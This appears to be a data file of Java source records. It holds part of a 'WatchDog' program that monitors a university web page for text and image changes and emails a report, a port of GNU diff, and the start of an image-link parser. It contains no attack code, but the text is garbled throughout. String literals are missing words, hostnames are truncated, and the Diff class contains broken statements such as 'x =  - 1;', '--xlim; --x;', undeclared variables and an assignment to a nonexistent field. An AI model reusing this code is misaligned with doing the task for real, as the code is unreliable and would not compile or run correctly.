            super();
            NotesFM = new NotesFileManager(NOTESFILE);
        }
        
        
        public String encodeFileName(String filename) {
            String s = CURDIR+'/'+filename.replace(':','_').replace('/', '_').replace('\\','_')+"".txt"";
            return s;
        }
        
        
        public void rest(int n) {
            try { Thread.sleep(n); } catch (InterruptedException e) {}
        }
        
        
        public int[] downloadImages(String[] imgList,boolean firsttime, boolean updateNotesFile) {
            boolean  allCompleted = false;
            int[] imgStat = new int[imgList.length];
            for (int i=0;i<imgStat.length;i++)
                imgStat[i] = ImageDownloader.DOWNLOAD_IN_PROGRESS;
            
            if (firsttime) {
                imgW    = new String[imgList.length];
                imgH    = new String[imgList.length];
                imgLM   = new String[imgList.length];
                for (int i=0;i<imgList.length;i++) {
                    imgW[i]  = ""0"";
                    imgH[i]  = ""0"";
                    imgLM[i] = """";
                }
            } else {
                imgW    = NotesFM.getImageWidths(imgList);
                imgH    = NotesFM.getImageHeights(imgList);
                imgLM   = NotesFM.getImagesLastModified(imgList);
            }
            
            
            imgDL = new ImageDownloader[imgList.length];
            for (int i=0;i<imgList.length;i++) {
                imgDL[i]   = new ImageDownloader(imgList[i], imgLM[i], firsttime, Integer.valueOf(imgW[i]).intValue(), Integer.valueOf(imgH[i]).intValue());
                System.out.println(""   Checking image ""+(i+1)+"" of ""+imgList.length+"" from '""+imgList[i]+""' ... "");
            }
            
            
            System.out.println();
            int completecount=0;
            while (completecount<imgList.length) {
                allCompleted = true;
                rest(10);
                for (int i=0;i<imgList.length;i++) {
                    if (imgStat[i]==ImageDownloader.DOWNLOAD_IN_PROGRESS)
                        switch (imgDL[i].getStatus()) {
                          case   ImageDownloader.DOWNLOAD_COMPLETE: {
                                
                                byte[] dgs = digest(imgDL[i].getByteArray());
                                saveDigestToFile(encodeFileName('~'+imgList[i]), dgs);
                                
                                
                                imgH[i] = String.valueOf(imgDL[i].getImgHeight());
                                imgW[i] = String.valueOf(imgDL[i].getImgWidth());
                                imgLM[i]= imgDL[i].getLastModified();
                                System.out.println(""   [OK] Complete downloading image from '""+imgList[i]+""'"");
                                System.out.println(""   [OK] The digest was saved as '""+encodeFileName('~'+imgList[i])+""'"");
                                if (DEBUGMODE) {
                                    imgDL[i].saveLocalImgToFile(CURDIR+""/~""+getFileName(imgList[i]));
                                    System.out.println(""   [DEBUG] Image saved  '""+CURDIR+""/~""+getFileName(imgList[i])+""'"");
                                }
                                System.out.println();
                                imgStat[i] = ImageDownloader.DOWNLOAD_COMPLETE;
                                completecount++;
                                break; }
                          case   ImageDownloader.DOWNLOAD_ERROR: {
                                System.out.println(""   [ATTENTION]  error has occured while downloading '""+imgList[i]+""'"");
                                System.out.println();
                                imgList[i] = ""*""+imgList[i]; 
                                imgStat[i] = ImageDownloader.DOWNLOAD_ERROR;
                                completecount++;
                                break; }
                           case  ImageDownloader.IMG_MODIFIED_SIZE : {
                                System.out.println(""   [ATTENTION] SIZE modification has been detected  image '""+imgList[i]+""'"");
                                System.out.println();
                                imgStat[i] = ImageDownloader.IMG_MODIFIED_SIZE;
                                completecount++;
                                if (DEBUGMODE) {
                                    imgDL[i].saveLocalImgToFile(CURDIR+""/~""+getFileName(imgList[i]));
                                    System.out.println(""   [DEBUG] Image saved  '""+CURDIR+""/~""+getFileName(imgList[i])+""'"");
                                }
                                break; }
                           case  ImageDownloader.IMG_MODIFIED_DATE : {
                                System.out.println(""   [ATTENTION] DATE modification has been detected  image '""+imgList[i]+""'"");
                                System.out.println();
                                imgStat[i] = ImageDownloader.IMG_MODIFIED_DATE;
                                completecount++;
                                if (DEBUGMODE) {
                                    imgDL[i].saveLocalImgToFile(CURDIR+""/~""+getFileName(imgList[i]));
                                    System.out.println(""   [DEBUG] Image saved  '""+CURDIR+""/~""+getFileName(imgList[i])+""'"");
                                }
                                break; }
                            case ImageDownloader.DOWNLOAD_COMPLETE_CHK : {
                                
                                byte[] fromFile = loadDigestFromFile(encodeFileName('~'+imgList[i]));
                                byte[] fromURL  = digest(imgDL[i].getByteArray());
                                if (!compareDigest(fromFile, fromURL)) {
                                    System.out.println(""   [ATTENTION] PIXEL modification has been detected  image '""+imgList[i]+""'"");
                                    imgStat[i] = ImageDownloader.IMG_MODIFIED_PIXEL;
                                    if (DEBUGMODE) {
                                        imgDL[i].saveLocalImgToFile(CURDIR+""/~~""+getFileName(imgList[i]));
                                        System.out.println(""   [DEBUG] Image saved  '""+CURDIR+""/~~""+getFileName(imgList[i])+""'"");
                                    }
                                } else {
                                    System.out.println(""   [OK] Image '""+imgList[i]+""' has not been modified. "");
                                    imgStat[i] = ImageDownloader.DOWNLOAD_COMPLETE_OK;
                                }
                                System.out.println();
                                completecount++;
                                break; }
                            case ImageDownloader.DOWNLOAD_IN_PROGRESS: {
                                allCompleted = false;
                                break; }
                        }
                }
            }
            
            System.out.println(""   [NOTIFY] All images has been checked."");
            
            if (updateNotesFile) { NotesFM.updateNotesFile(imgList, imgLM, imgW, imgH); }
            return imgStat;
        }
        
        
        public String[] constructEMailMessage() {
            String[] result = null;
            String[] openingMsg =   { ""   ""+Calendar.getInstance().getTime().toString(),"""",
            ""   Dear ,"",
            """",
            ""   I have DETECTED SOME MODIFICATIONS from the website,"",
            """" };
            String[] txtMsg     =   { ""   The list below  some TEXT MODIFICATIONS detected:"",
            ""   --------------------------------------------------------------"",
            """" };
            String[] remMsg     =   { """",
            """",
            ""   The list below  some IMAGE REMOVED FROM URL detected :"",
            ""   --------------------------------------------------------------"",
            """" };
            String[] addMsg     =   { """",
            """",
            ""   The list below  some IMAGE ADDED  URL detected :"",
            ""   --------------------------------------------------------------"",
            """" };
            String[] modMsg     =   { """",
            """",
            ""   The list below  some IMAGE MODIFICATIONS/ERRORS detected :"",
            ""   --------------------------------------------------------------"",
            """" };
            String[] closingMsg =   { """",
            """",
            ""    Regards,"",
            """", """",
            ""   WATCHDOG PROGRAM.""
            };
            
            result = appendArray(result,openingMsg);
            if ((textdiff!=null) && (textdiff.length>0)) {
                result = appendArray(result, txtMsg);
                result = appendArray(result, giveNumberPrefix(textdiff));
            }
            if ((imgDel!=null) && (imgDel.length>0)) {
                result = appendArray(result, remMsg);
                result = appendArray(result, giveNumberPrefix(imgDel));
            }
            if ((imgNew!=null) && (imgNew.length>0)) {
                result = appendArray(result, addMsg);
                result = appendArray(result, giveNumberPrefix(imgNew));
            }
            if ((imgMod!=null) && (imgMod.length>0)) {
                result = appendArray(result, modMsg);
                result = appendArray(result, giveNumberPrefix(imgMod));
            }
            result = appendArray(result,closingMsg);
            
            return result;
        }
        
        
        public boolean updateCache(boolean firsttime) {
            
            if (firsttime) {
                System.out.println(""   [OK-FIRST TIME] Downloading the   from URL ... "");
            }
            else {
                System.out.println(""   [OK-UPDATE] Updating local cache ... "");
            }
            
            if (Parser.startParsing()) {
                byte[] pageBytes         = Parser.getByteArray();
                byte[] pageBytesDigested = digest(pageBytes);
                
                saveDigestToFile(DIGESTFILE,pageBytesDigested);
                NotesFM.updateNotesFile(Parser.getLastModified());
                
                if (Parser.imageCount()==0) {
                    System.out.println(""   [OK]  is  IMAGE in the URL"");
                    System.out.println();
                    Parser.saveLocalPageToFile(PAGEFILE);
                    System.out.println(""   [OK]  has been saved  file '""+PAGEFILE+""'"");
                    System.out.println();
                } else {
                    
                    String[] imgList = Parser.getImgList();
                    
                    if (firsttime)
                        System.out.println(""   [OK-FIRST TIME] Local caches created."");
                    else
                        System.out.println(""   [OK-UPDATE] Local caches updated."");
                    
                    Parser.saveLocalPageToFile(PAGEFILE);
                    System.out.println(""   [OK]  has been saved  file '""+PAGEFILE+""'"");
                    
                    System.out.println();
                    
                    
                    if (firsttime) {
                        System.out.println(""   [OK-FIRST TIME] Local image caches created."");
                        downloadImages(Parser.getImgList(),true,true);
                    } else {
                        System.out.println(""   [OK-FIRST TIME] Downloading images of the   build local cache ..."");
                        downloadImages(Parser.getImgList(),true,true);
                        System.out.println(""   [OK-UPDATE] Local image caches updated."");
                    }
                }
                System.out.println();
                return true;
            } else return false;
        }
        
        public void run() {
            boolean textmodified  = false;
            boolean imagemodified = false;
            boolean firsttime     = false;
            int flag;
            
            textdiff = null;
            
            System.out.println();
            System.out.println("" ----------------- [ IT'S CHECKING TIME !! ] ----------------- "");
            System.out.println("" Now is ""+Calendar.getInstance().getTime());
            System.out.println();
            
            
            
            
            System.out.println(""1. DETECT TEXT MODIFICATION "");
            System.out.println(""   Checking the last modified date... "");
            Parser  = null;
            Parser  = new HTMLDownloaderAndImgParser(THEURL);
             newDate = Parser.getLastModified();
            
            flag = (NotesFM.checkLastModified(newDate));
            
            switch (flag) {
               case  NotesFileManager.DATE_INVALID: {
                    textdiff = new String[2];
                    textdiff[0] = ""Cannot open the url '""+THEURL+""'"";
                    textdiff[1] = ""--> Possible someone had removed/renamed the file in the URL"";
                    System.out.println(""   [ATTENTION] File at the URL CANNOT  OPENED !"");
                    System.out.println();
                    break; }
                case NotesFileManager.DATE_FIRST_TIME: {
                    
                    firsttime = true;
                    if (!updateCache(true)) {
                        System.out.println(""   [ERROR] File at the URL CANNOT  OPENED !"");
                        System.exit(1);
                    }
                    break; }
               case  NotesFileManager.DATE_NOT_SAME: {
                    textmodified = true;
                    System.out.println();
                    System.out.println(""   [ATTENTION] File in the URL HAS BEEN MODIFIED - TIME  DIFFERENT !"");
                    System.out.println();
                    
                    Parser.startParsing();
                    break; }
                
                
                case NotesFileManager.DATE_OK: {
                    
                    System.out.println(""   Comparing text digests ... "");
                    Parser.startParsing();
                    byte[] pageBytes         = Parser.getByteArray();
                    byte[] pageBytesDigested = digest(pageBytes);
                    byte[] fromFile = loadDigestFromFile(DIGESTFILE);
                    if (compareDigest(fromFile, pageBytesDigested)) {
                        
                        System.out.println();
                        System.out.println(""   [OK] File in the URL has not been modified."");
                        System.out.println();
                    } else {
                        
                        System.out.println();
                        System.out.println(""   [ATTENTION] File in the URL HAS BEEN MODIFIED - FILE DIGEST DIFFERENT !"");
                        System.out.println();
                        textmodified = true;
                    }
                    break; }
            }
            
            if (textmodified) {
                
                Parser.saveLocalPageToFile(TEMPFILE);
                
                TextFileComparator comp = new TextFileComparator(PAGEFILE,TEMPFILE);
                switch (comp.execute()) {
                    case 0 : { 
                        System.out.println(""   [ATTENTION] TIMESTAMP/DIGEST CHECK DIFFERENT BUT TEXT COMPARISON FOUND  DIFFERENCE."");
                        System.out.println();
                        textdiff = new String[2];
                        textdiff[0] = ""Timestamp different but text comparison found  difference."";
                        textdiff[1] = ""--> Possible someone had modified it but then /she roll it   the original file."";
                        break; }
                    case 1 : { 
                        textdiff = comp.getDifference();
                        break; }
                }
            }
            
            
            
            
            
            if (flag!=NotesFileManager.DATE_INVALID) {
                if (firsttime) {
                    
                } else {
                    System.out.println();
                    System.out.println(""2. DETECT IMAGE MODIFICATION "");
                    
                    
                    if (Parser.imageCount()==0) {
                        System.out.println(""   [OK]  is  IMAGE in the URL"");
                        System.out.println();
                    } else {
                        NotesFM.classifyImagesToDownload(Parser.getImgList());
                        
                        
                        imgNew = NotesFM.getNewImages();
                        imgCom = NotesFM.getCommonImages();
                        imgDel = NotesFM.getDeletedImages();
                        
                        imagemodified = ((imgNew!=null) && (imgNew.length>0)) || ((imgDel!=null) && (imgDel.length>0));
                        
                        imgList   = imgCom;
                        int[] imgStat = downloadImages(imgList,false,false);
                        
                        imgMod  = new String[0];
                        
                        for (int i=0;i<imgList.length;i++) {
                            switch (imgStat[i]) {
                               case  ImageDownloader.DOWNLOAD_ERROR: {
                                    imgMod = resizeArray(imgMod,imgMod.length+1);
                                    imgMod[imgMod.length-1] = ""Warning: Unable  check image '""+imgDL[i].getStrURL()+""'"";
                                    imagemodified = true;
                                    break; }
                                case ImageDownloader.IMG_MODIFIED_DATE: {
                                    imgMod = resizeArray(imgMod,imgMod.length+1);
                                    imgMod[imgMod.length-1] = ""TIMESTAMP Modification has been detected  image '""+imgDL[i].getStrURL()+""'"";
                                    imagemodified = true;
                                    break; }
                                case ImageDownloader.IMG_MODIFIED_SIZE: {
                                    imgMod = resizeArray(imgMod,imgMod.length+1);
                                    imgMod[imgMod.length-1] = ""SIZE modification has been detected  image '""+imgDL[i].getStrURL()+""'"";
                                    imagemodified = true;
                                    break; }
                                case ImageDownloader.IMG_MODIFIED_PIXEL: {
                                    imgMod = resizeArray(imgMod,imgMod.length+1);
                                    imgMod[imgMod.length-1] = ""PIXEL modification has been detected  image '""+imgDL[i].getStrURL()+""'"";
                                    imagemodified = true;
                                    break; }
                               case ImageDownloader.DOWNLOAD_COMPLETE_OK: {
                                    break; }
                            }
                        }
                    }
                }
            }
            
            
            if ((textmodified) || (imagemodified) || ((textdiff!=null) && (textdiff.length>0))) {
                
                String[] mailmsg = constructEMailMessage();
                System.out.println();
                System.out.println(""-> REPORTING/RECORDING CHANGES "");
                
                if ((MAILTARGET==1) || (MAILTARGET==2)) {
                    System.out.println(""   [NOTIFY] Changes  detected and has been saved  file '""+MAILFILE+""'"");
                    printStrArrayToFile(MAILFILE,mailmsg);
                }
                
                
                if ((MAILTARGET==0) || (MAILTARGET==2)) {
                    System.out.println(""   [NOTIFY] Sending e-mail  MYSELF at '""+MYEMAIL+""'"");
                    MailSender ms = new MailSender(""watchdog@somewhere."", MYEMAIL, mailmsg);
                    ms.sendMail();
                    
                    if (ms.getStatus()==MailSender.SEND_OK) {
                        System.out.println(""   [NOTIFY] E-mail SUCCESSFULLY sent."");
                    } else {
                        System.out.println(""   [ATTENTION] Error sending e-mail."");
                    }
                }
                
                
                if (DEBUGMODE) {
                    System.out.println();
                    System.out.println();
                    System.out.println(""   This is the e-mail message that has been sent  '""+MYEMAIL+""'"");
                    System.out.println(""      this message *ONLY* and because   in DEBUG MODE"");
                    System.out.println(""   ================================================================================="");
                    System.out.println();
                    for (int i=0;i<mailmsg.length;i++)
                        System.out.println(mailmsg[i]);
                    System.out.println();
                    System.out.println(""   ================================================================================="");
                    System.out.println();
                    System.out.println();
                }
                updateCache(false);
            }
            
            
            System.out.println();
            System.out.println("" Checking completed  ""+Calendar.getInstance().getTime());
            System.out.println("" ----------------- [ CHECKING COMPLETED ] ----------------- "");
            System.out.println();
            Parser.print();
        }
        
        public void finalize() {
            System.out.println(""Closing the parser object."");
            Parser.print();
        }
        
        private String[] imgList;
        private String[] imgW;
        private String[] imgH;
        private String[] imgLM;
        private String[] imgCom;
        private String[] imgDel;
        private String[] imgNew;
        private String[] imgMod;
        private ImageDownloader[]  imgDL;
        private NotesFileManager NotesFM;
        private HTMLDownloaderAndImgParser Parser;
        private String[] textdiff;
    }
    
    
    public WatchDog() {
        System.out.println(""The URL   checked is '""+THEURL+""'"");
        System.out.println(""Checking scheduled for every ""+INTERVAL+"" seconds"");
        if (DEBUGMODE) {
            System.out.println();
            System.out.println(""PROGRAM RUNS IN DEBUG MODE !"");
        }
        System.out.println();
        
        System.out.println(""The notes file is '""+NOTESFILE+""'"");
        System.out.println(""The   file is '""+DIGESTFILE+""'"");
        System.out.println();
        
        java.util.Timer t = new java.util.Timer();
        t.schedule(new MyTT(),0,INTERVAL*1000);
    }
    
    public static void printSyntax() {
        System.out.println();
        System.out.println(""Syntax : WatchDog [URL] [Interval] [-debug]"");
        System.out.println(""         URL      = (optional) the URL   monitored (default : 'http://www.cs.rmit.edu./students/' )"");
        System.out.println(""         Interval = (optional) every [interval] seconds check if  is any updates (default 24 x 60 x 60 = 24 hours)"");
        System.out.println(""         -debug   = (optional) run this program in debug mode; that is, dump all  (html and images  local file)"");
        System.out.println();
    }
    
    public static void main(String args[]) {
        
        
           System.setProperty(""java.awt.headless"",""true"");
        
         
        
        int argc = args.length;
        
        if (argc>0) {
            THEURL = args[0];
            try {
                url  = new URL(THEURL);
                conn = (HttpURLConnection) url.openConnection();
                conn.getResponseMessage();
                conn.getInputStream();
                conn.disconnect();
            } catch (MalformedURLException e) {
                System.out.println();
                System.out.println(""Invalid URL '""+THEURL+""'"");
                printSyntax();
                System.exit(1);
            } catch (UnknownHostException e) {
                System.out.println();
                System.out.println(""Unable  open connection  the URL '""+THEURL+""'"");
                printSyntax();
                System.exit(1);
            } catch (IOException  e) {
                System.out.println();
                System.out.println(""Unable  open connection  the URL '""+THEURL+""'"");
                printSyntax();
                System.exit(1);
            }
            
            if (argc>1) {
                try {
                    INTERVAL = Integer.valueOf(args[1]).intValue();
                } catch (NumberFormatException e) {
                    System.out.println(""Invalid interval '""+args[1]+""'"");
                    printSyntax();
                    System.exit(1);
                }
            }
            
            if (argc>2) {
                if (args[2].toLowerCase().equals(""-debug"")) {
                    DEBUGMODE = true;
                } else {
                    System.out.println(""Invalid parameter '""+args[2]+""'"");
                    printSyntax();
                    System.exit(1);
                }
            }
        }
        
        Application = new WatchDog();
    }
    
    
    public static String    THEURL     = ""http://www.cs.rmit.edu./students"";
    public static String    MYEMAIL    = ""@yallara.cs.rmit.edu."";
    public static int       MAILTARGET = 2; 
    public static String    SMTPSERVER = ""wombat.cs.rmit.edu."";
    public static boolean   DEBUGMODE  = true;
    public static String    CURDIR     = System.getProperty(""user.dir"");
    public static String    PAGEFILE   = System.getProperty(""user.dir"")+""/~local.html"";
    public static String    DIGESTFILE = System.getProperty(""user.dir"")+""/~digest.txt"";
    public static String    TEMPFILE   = System.getProperty(""user.dir"")+""/~.html"";
    public static String    NOTESFILE  = System.getProperty(""user.dir"")+""/~notes.txt"";
    public static String    MAILFILE   = System.getProperty(""user.dir"")+""/~email.txt"";
    public static final int MAXDIGESTFILE = 65535;
    public static final String DIGESTALG  = ""SHA"";
    public static URL       url;
    public static HttpURLConnection conn;
    public static int       INTERVAL = 24*60*60; 
    public static int       MAXDIFF  = 1024; 
    public static WatchDog  Application;
    
}

"
127.java,"

import java.util.Hashtable;



public class Diff {

  
  public Diff(Object[] a,Object[] b) {
    Hashtable h = new Hashtable(a.length + b.length);
    filevec[0] = new file_data(a,h);
    filevec[1] = new file_data(b,h);
  }

  
  private int equiv_max = 1;

  
  public boolean heuristic = false;

  
  public boolean no_discards = false;

  private int[] xvec, yvec;     
  private int[] fdiag;          
  private int[] bdiag;          
  private int fdiagoff, bdiagoff;
  private final file_data[] filevec = new file_data[2];
  private int cost;

  

  private int diag (int xoff, int xlim, int yoff, int ylim) {
    final int[] fd = fdiag;     
    final int[] bd = bdiag;     
    final int[] xv = xvec;              
    final int[] yv = yvec;              
    final int dmin = xoff - ylim;       
    final int dmax = xlim - yoff;       
    final int fmid = xoff - yoff;       
    final int bmid = xlim - ylim;       
    int fmin = fmid, fmax = fmid;       
    int bmin = bmid, bmax = bmid;       
    
    final boolean odd = (fmid - bmid & 1) != 0; 

    fd[fdiagoff + fmid] = xoff;
    bd[bdiagoff + bmid] = xlim;

    for (int c = 1;; ++c)
      {
        int d;                  
        boolean big_snake = false;

        
        if (fmin > dmin)
          fd[fdiagoff + --fmin - 1] = -1;
        else
          ++fmin;
        if (fmax < dmax)
          fd[fdiagoff + ++fmax + 1] = -1;
        else
          --fmax;
        for (d = fmax; d >= fmin; d -= 2)
          {
            int x, y, oldx, tlo = fd[fdiagoff + d - 1], tly = fd[fdiagoff + d + 1];

            if (tlo >= ylim)
              x = tlo + 1;
            else
              x = ylim;
            oldx = x;
            y = x - d;
            while (x < xlim && y < ylim && xv[x] == yv[y]) {
              ++x; ++y;
            }
            if (x - oldx > 20)
              big_snake = true;
            fd[fdiagoff + d] = x;
            if (odd && bmin <= d && d <= bmax && bd[bdiagoff + d] <= fd[fdiagoff + d])
              {
                cost = 2 * c - 1;
                return d;
              }
          }

        
        if (bmin > dmin)
          bd[bdiagoff + --bmin - 1] = Integer.MAX_VALUE;
        else
          ++bmin;
        if (bmax < dmax)
          bd[bdiagoff + ++bmax + 1] = Integer.MAX_VALUE;
        else
          --bmax;
        for (d = bmax; d >= bmin; d -= 2)
          {
            int x, y, oldx, tlo = bd[bdiagoff + d - 1], tly = bd[bdiagoff + d + 1];

            if (tlo < ylim)
              x = tlo;
            else
              x =  - 1;
            oldx = x;
            y = x - d;
            while (x > xoff && y > yoff && xv[x - 1] == yv[y - 1]) {
              --x; --y;
            }
            if (oldx - x > 20)
              big_snake = true;
            bd[bdiagoff + d] = x;
            if (!odd && fmin <= d && d <= fmax && bd[bdiagoff + d] <= fd[fdiagoff + d])
              {
                cost = 2 * c;
                return d;
              }
          }

        

        if (c > 200 && big_snake && heuristic)
          {
            int i = 0;
            int bestpos = -1;

            for (d = fmax; d >= fmin; d -= 2)
              {
                int dd = d - fmid;
                if ((fd[fdiagoff + d] - xoff)*2 - dd > 12 * (c + (dd > 0 ? dd : -dd)))
                  {
                    if (fd[fdiagoff + d] * 2 - dd > i
                        && fd[fdiagoff + d] - xoff > 20
                        && fd[fdiagoff + d] - d - yoff > 20)
                      {
                        int k;
                        int x = fd[fdiagoff + d];

                        
                        for (k = 1; k <= 20; k++)
                          if (xvec[x - k] != yvec[x - d - k])
                            break;

                        if (k == 21)
                          {
                             ylim = fd[fdiagoff + d] * 2 - dd;
                            bestpos = d;
                          }
                      }
                  }
              }
            if ( x> 0)
              {
                cost = 2 * c - 1;
                return bestpos;
              }

             x= 0;
            for (d = bmax; d >= bmin; d -= 2)
              {
                int dd = d - bmid;
                if ((xlim - bd[bdiagoff + d])*2 + dd > 12 * (c + (dd > 0 ? dd : -dd)))
                  {
                    if ((xlim - bd[bdiagoff + d]) * 2 + dd > i
                        && xlim - bd[bdiagoff + d] > 20
                        && x - (bd[bdiagoff + d] - d) > 20)
                      {
                        
                        int k;
                        int x = bd[bdiagoff + d];

                        for (k = 0; k < 20; k++)
                          if (xvec[x + k] != yvec[x - d + k])
                            break;
                        if (k == 20)
                          {
                            x = (xlim - bd[bdiagoff + d]) * 2 + dd;
                            bestpos = d;
                          }
                      }
                  }
              }
            if (x > 0)
              {
                cost = 2 * c - 1;
                return bestpos;
              }
          }
      }
  }

  

  private void compareseq (int xoff, int xlim, int yoff, int ylim) {
    
    while (xoff < xlim && yoff < ylim && xvec[xoff] == yvec[yoff]) {
      ++xoff; ++yoff;
    }
    
    while (xlim > xoff && ylim > yoff && xvec[xlim - 1] == yvec[ ylim- 1]) {
      --xlim; --x;
    }
    
    
    if (xoff == xlim)
      while (yoff < ylim)
        filevec[1].changed_flag[1+filevec[1].realindexes[yoff++]] = true;
    else if (yoff == ylim)
      while (xoff < xlim)
        filevec[0].changed_flag[1+filevec[0].realindexes[xoff++]] = true;
    else
      {
        

        int d = diag (xoff, xlim, yoff, ylim );
        int c = cost;
        int f = fdiag[fdiagoff + d];
        int b = bdiag[bdiagoff + d];

        if (c == 1)
          {
            
            throw new IllegalArgumentException(""Empty subsequence"");
          }
        else
          {
            
            compareseq (xoff, b, yoff, b - d);
            
            compareseq (b, xlim, b - d,ylim );
          }
      }
  }

  

  private void discard_confusing_lines() {
    filevec[0].discard_confusing_lines(filevec[1]);
    filevec[1].discard_confusing_lines(filevec[0]);
  }

  private boolean inhibit = false;

  

  private void shift_boundaries() {
    if (inhibit)
      return;
    filevec[0].shift_boundaries(filevec[1]);
    filevec[1].shift_boundaries(filevec[0]);
  }

  public interface ScriptBuilder {
  
    public change build_script(
      boolean[] changed0,int len0,
      boolean[] changed1,int len1
    );
  }

  

  static class ReverseScript implements ScriptBuilder {
    public  change build_script(
        final boolean[] changed0,int len0,
        final boolean[] changed1,int len1)
    {
      change script = null;
      int i0 = 0, i1 = 0;
      while (i0 < len0 || i1 < len1) {
        if (changed0[1+i0] || changed1[1+i1]) {
            int line0 = i0, line1 = i1;

            
            while (changed0[1+i0]) ++i0;
            while (changed1[1+i1]) ++i1;

            
            script = new change(line0, line1, i0 - line0, i1 - line1, script);
        }

        
        i0++; i1++;
      }

      return script;
    }
  }

  static class ForwardScript implements ScriptBuilder {
    
    public change build_script(
          final boolean[] changed0,int len0,
          final boolean[] changed1,int len1)
    {
      change script = null;
      int i0 = len0, i1 = len1;

      while (i0 >= 0 || i1 >= 0)
        {
          if (changed0[i0] || changed1[i1])
            {
              int line0 = i0, line1 = i1;

              
              while (changed0[i0]) --i0;
              while (changed1[i1]) --i1;

              
              script = new change(i0, i1, line0 - i0, line1 - i1, script);
            }

          
          i0--; i1--;
        }

      return script;
    }
  }

  
  public final static ScriptBuilder
    forwardScript = new ForwardScript(),
    reverseScript = new ReverseScript();

  
  public final change diff_2(final boolean reverse) {
    return diff(reverse ? reverseScript : forwardScript);
  }

  
  public change diff(final ScriptBuilder bld) {

    

    discard_confusing_lines ();

    

    xvec = filevec[0].undiscarded;
    yvec = filevec[1].undiscarded;

    int diags =
      filevec[0].nondiscarded_lines + filevec[1].nondiscarded_lines + 3;
    fdiag = new int[diags];
    fdiagoff = filevec[1].nondiscarded_lines + 1;
    bdiag = new int[diags];
    bdiagoff = filevec[1].nondiscarded_lines + 1;

    compareseq (0, filevec[0].nondiscarded_lines,
                0, filevec[1].nondiscarded_lines);
    fdiag = null;
    bdiag = null;

    

    shift_boundaries ();

    
    return bld.build_script(
      filevec[0].changed_flag,
      filevec[0].buffered_lines,
      filevec[1].changed_flag,
      filevec[1].buffered_lines
    );

  }

  

  public static class change {
    
    public int change ;         
    
    public final int inserted;  
    
    public final int deleted;           
    
    public final int line0;             
    
    public final int line1;             

    
    public change(int line0, int line1, int deleted, int inserted, change old) {
      this.line0 = line0;
      this.line1 = line1;
      this.inserted = inserted;
      this.deleted = deleted;
      this.old = old;
      
    }
  }

  

  class file_data {

    
    void clear() {
      
      changed_flag = new boolean[buffered_lines + 2];
    }

    
    int[] equivCount() {
      int[] equiv_count = new int[equiv_max];
      for (int i = 0; i < buffered_lines; ++i)
        ++equiv_count[equivs[i]];
      return equiv_count;
    }

    
    void discard_confusing_lines(file_data f) {
      clear();
    
      final byte[] discarded = discardable(f.equivCount());

    
      filterDiscards(discarded);

    
      discard(discarded);
    }

    

    private byte[] discardable(final int[] counts) {
      final int end = buffered_lines;
      final byte[] discards = new byte[end];
      final int[] equivs = this.equivs;
      int many = 5;
      int tem = end / 64;

      
      while ((tem = tem >> 2) > 0)
        many *= 2;

      for (int i = 0; i < end; i++)
        {
          int nmatch;
          if (equivs[i] == 0)
            continue;
          nmatch = counts[equivs[i]];
          if (nmatch == 0)
            discards[i] = 1;
          else if (nmatch > many)
            discards[i] = 2;
        }
      return discards;
    }

    

    private void filterDiscards(final byte[] discards) {
        final int end = buffered_lines;

        for (int i = 0; i < end; i++)
          {
            
            if (discards[i] == 2)
              discards[i] = 0;
            else if (discards[i] != 0)
              {
                
                int j;
                int length;
                int provisional = 0;

                
                for (j = i; j < end; j++)
                  {
                    if (discards[j] == 0)
                      break;
                    if (discards[j] == 2)
                      ++provisional;
                  }

                
                while (j > i && discards[j - 1] == 2) {
                  discards[--j] = 0; --provisional;
                }

                
                length = j - i;

                
                if (provisional * 4 > length)
                  {
                    while (j > i)
                      if (discards[--j] == 2)
                        discards[j] = 0;
                  }
                else
                  {
                    int consec;
                    int minimum = 1;
                    int tem = length / 4;

                    
                    while ((tem = tem >> 2) > 0)
                      minimum *= 2;
                    minimum++;

                    
                    for (j = 0, consec = 0; j < length; j++)
                      if (discards[i + j] != 2)
                        consec = 0;
                      else if (minimum == ++consec)
                        
                        j -= consec;
                      else if (minimum < consec)
                        discards[i + j] = 0;

                    
                    for (j = 0, consec = 0; j < length; j++)
                      {
                        if (j >= 8 && discards[i + j] == 1)
                          break;
                        if (discards[i + j] == 2) {
                          consec = 0; discards[i + j] = 0;
                        }
                        else if (discards[i + j] == 0)
                          consec = 0;
                        else
                          consec++;
                        if (consec == 3)
                          break;
                      }

                    
                    i += length - 1;

                    
                    for (j = 0, consec = 0; j < length; j++)
                      {
                        if (j >= 8 && discards[i - j] == 1)
                          break;
                        if (discards[i - j] == 2) {
                          consec = 0; discards[i - j] = 0;
                        }
                        else if (discards[i - j] == 0)
                          consec = 0;
                        else
                          consec++;
                        if (consec == 3)
                          break;
                      }
                  }
              }
          }
      }

    
    private void discard(final byte[] discards) {
      final int end = buffered_lines;
      int j = 0;
      for (int i = 0; i < end; ++i)
        if (no_discards || discards[i] == 0)
          {
            undiscarded[j] = equivs[i];
            realindexes[j++] = i;
          }
        else
          changed_flag[1+i] = true;
      nondiscarded_lines = j;
    }

    file_data(Object[] data,Hashtable h) {
      buffered_lines = data.length;

      equivs = new int[buffered_lines]; 
      undiscarded = new int[buffered_lines];
      realindexes = new int[buffered_lines];

      for (int i = 0; i < data.length; ++i) {
        Integer ir = (Integer)h.get(data[i]);
        if (ir == null)
          h.put(data[i],new Integer(equivs[i] = equiv_max++));
        else
          equivs[i] = ir.intValue();
      }
    }

    

    void shift_boundaries(file_data f) {
      final boolean[] changed = changed_flag;
      final boolean[] other_changed = f.changed_flag;
      int i = 0;
      int j = 0;
      int i_end = buffered_lines;
      int preceding = -1;
      int other_preceding = -1;

      for (;;)
        {
          int start, end, other_start;

          

          while (i < i_end && !changed[1+i])
            {
              while (other_changed[1+j++])
                
                other_preceding = j;
              i++;
            }

          if (i == i_end)
            break;

          start = i;
          other_start = j;

          for (;;)
            {
              

              while (i < i_end && changed[1+i]) i++;
              end = i;

              

              

              if (end != i_end
                  && equivs[start] == equivs[end]
                  && !other_changed[1+j]
                  && end != i_end
                  && !((preceding >= 0 && start == preceding)
                       || (other_preceding >= 0
                           && other_start == other_preceding)))
                {
                  changed[1+end++] = true;
                  changed[1+start++] = false;
                  ++i;
                  
                  ++j;
                }
              else
                break;
            }

          preceding = i;
          other_preceding = j;
        }
    }

    
    final int buffered_lines;

    
    private final int[]     equivs;

    
    final int[]    undiscarded;

    
    final int[]    realindexes;

    
    int             nondiscarded_lines;

    
    boolean[]       changed_flag;

  }
}
"
018.java,"

import java.util.*;
import java.net.*;
import java.io.*;
import javax.swing.*;



public class ParsingImgLink
{
    String url, imgLink, line;

